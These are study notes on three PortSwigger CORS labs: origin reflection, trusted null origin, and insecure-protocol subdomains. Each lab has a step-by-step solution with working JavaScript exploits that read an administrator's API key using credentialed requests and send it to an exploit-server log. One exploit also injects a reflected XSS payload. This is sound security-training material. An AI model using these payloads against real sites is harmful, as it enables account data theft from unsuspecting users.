Portswigger CORS Lab Notes

CORS (**Cross-Origin Resource Sharing**) is a browser security mechanism that controls how web applications can request resources from a different origin (domain, protocol, or port). By default, browsers block cross-origin requests to protect users, but with CORS, a server can explicitly allow or restrict access by sending headers like Access-Control-Allow-Origin. This ensures controlled sharing of resources across different sites while preventing unauthorized cross-site requests.

1. CORS vulnerability with basic origin reflection

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

 Solution

1. Check intercept is off, then use the browser to log in and access your account page.
2. Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
3. Send the request to Burp Repeater, and resubmit it with the added header:

***Origin: https://example.com***

1. Observe that the origin is reflected in the Access-Control-Allow-Origin header.
2. In the browser, go to the exploit server and enter the following HTML, replacing YOUR-LAB-ID with your unique lab URL:

***<script>***

***var req = new XMLHttpRequest();***

***req.onload = reqListener;***

***req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);***

***req.withCredentials = true;***

***req.send();***

***function reqListener() {***

***location='/log?key='+this.responseText;***

***};***

***</script>***

1. Click **View exploit**. Observe that the exploit works - you have landed on the log page and your API key is in the URL.
2. Go back to the exploit server and click **Deliver exploit to victim**.
3. Click **Access log**, retrieve and submit the victim's API key to complete the lab.
4. CORS vulnerability with trusted null origin

This website has an insecure CORS configuration in that it trusts the "null" origin.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

 Solution

1. Check intercept is off, then use Burp's browser to log in to your account. Click "My account".
2. Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
3. Send the request to Burp Repeater, and resubmit it with the added header ***Origin: null.***
4. Observe that the "null" origin is reflected in the Access-Control-Allow-Origin header.

Test with Origin: null  
In Burp Repeater, if we send the request with Origin: null, the server responds with:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

→ This confirms the site will happily give sensitive data to a null origin page.

1. In the browser, go to the exploit server and enter the following HTML, replacing YOUR-LAB-ID with the URL for your unique lab URL and YOUR-EXPLOIT-SERVER-ID with the exploit server ID:

***<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>***

***var req = new XMLHttpRequest();***

***req.onload = reqListener;***

***req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);***

***req.withCredentials = true;***

***req.send();***

***function reqListener() {***

***location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);***

***};***

***</script>"></iframe>***

Notice the use of an iframe sandbox as this generates a null origin request.

We craft an **exploit page** that:

* Runs inside a sandboxed <iframe> → this makes its origin null.
* Uses JavaScript (XMLHttpRequest) with withCredentials = true → sends the victim’s cookies to /accountDetails.
* The server allows it, and returns the victim’s data (API key).
* The script exfiltrates the key to our exploit server via a GET request.

1. Click "View exploit". Observe that the exploit works - you have landed on the log page and your API key is in the URL.
2. Go back to the exploit server and click "Deliver exploit to victim".
3. Click "Access log", retrieve and submit the victim's API key to complete the lab.
4. CORS vulnerability with trusted insecure protocols

This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

**Hint:** If you could man-in-the-middle attack (MITM) the victim, you could use a MITM attack to hijack a connection to an insecure subdomain, and inject malicious JavaScript to exploit the CORS configuration. Unfortunately in the lab environment, you can't MITM the victim, so you'll need to find an alternative way of injecting JavaScript into the subdomain.

 CORS trust list is wrong: The main site (https://YOUR-LAB-ID.web-security-academy.net) reflects any subdomain origin, even if it’s HTTP (e.g., http://stock.YOUR-LAB-ID...). With Access-Control-Allow-Credentials: true, the browser will deliver cookies and let JS on that subdomain read the response.

 Reflected XSS on the HTTP subdomain: http://stock.YOUR-LAB-ID.../ has an XSS in the productId parameter, so you can run arbitrary JS on that subdomain.

 Solution

1. Check intercept is off, then use Burp's browser to log in and access your account page.
2. Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
3. Send the request to Burp Repeater, and resubmit it with the added header ***Origin: http://subdomain.lab-id*** where lab-id is the lab domain name.
4. Observe that the origin is reflected in the Access-Control-Allow-Origin header, confirming that the CORS configuration allows access from arbitrary subdomains, both HTTPS and HTTP.
5. Open a product page, click **Check stock** and observe that it is loaded using a HTTP URL on a subdomain.
6. Observe that the productID parameter is vulnerable to XSS.

Why jump to the HTTP subdomain first?

Because you need an Origin that the main site’s CORS trusts. Your JS must run from http://stock.YOUR-LAB-ID... so the browser sets:

Origin: http://stock.YOUR-LAB-ID.web-security-academy.net

The main site then replies with:

Access-Control-Allow-Origin: http://stock.YOUR-LAB-ID.web-security-academy.net

Access-Control-Allow-Credentials: true

→ The XHR from the stock subdomain can read /accountDetails with the admin’s cookies.

1. In the browser, go to the exploit server and enter the following HTML, replacing YOUR-LAB-ID with your unique lab URL and YOUR-EXPLOIT-SERVER-ID with your exploit server ID:

***<script>***

***document.location =***

***"http://stock.YOUR-LAB-ID.web-security-academy.net/"+***

***"?productId=4<script>" +***

***"var req=new XMLHttpRequest();" +***

***"req.onload=reqListener;" +***

***"req.open('GET','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true);" +***

***"req.withCredentials=true;" +***

***"req.send();" +***

***"function reqListener(){" +***

***"location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+" +***

***"encodeURIComponent(this.responseText);" +***

***"}" +***

***"</script>&storeId=1";***

***</script>***

1. Click **View exploit**. Observe that the exploit works - you have landed on the log page and your API key is in the URL.
2. Go back to the exploit server and click **Deliver exploit to victim**.
3. Click **Access log**, retrieve and submit the victim's API key to complete the lab.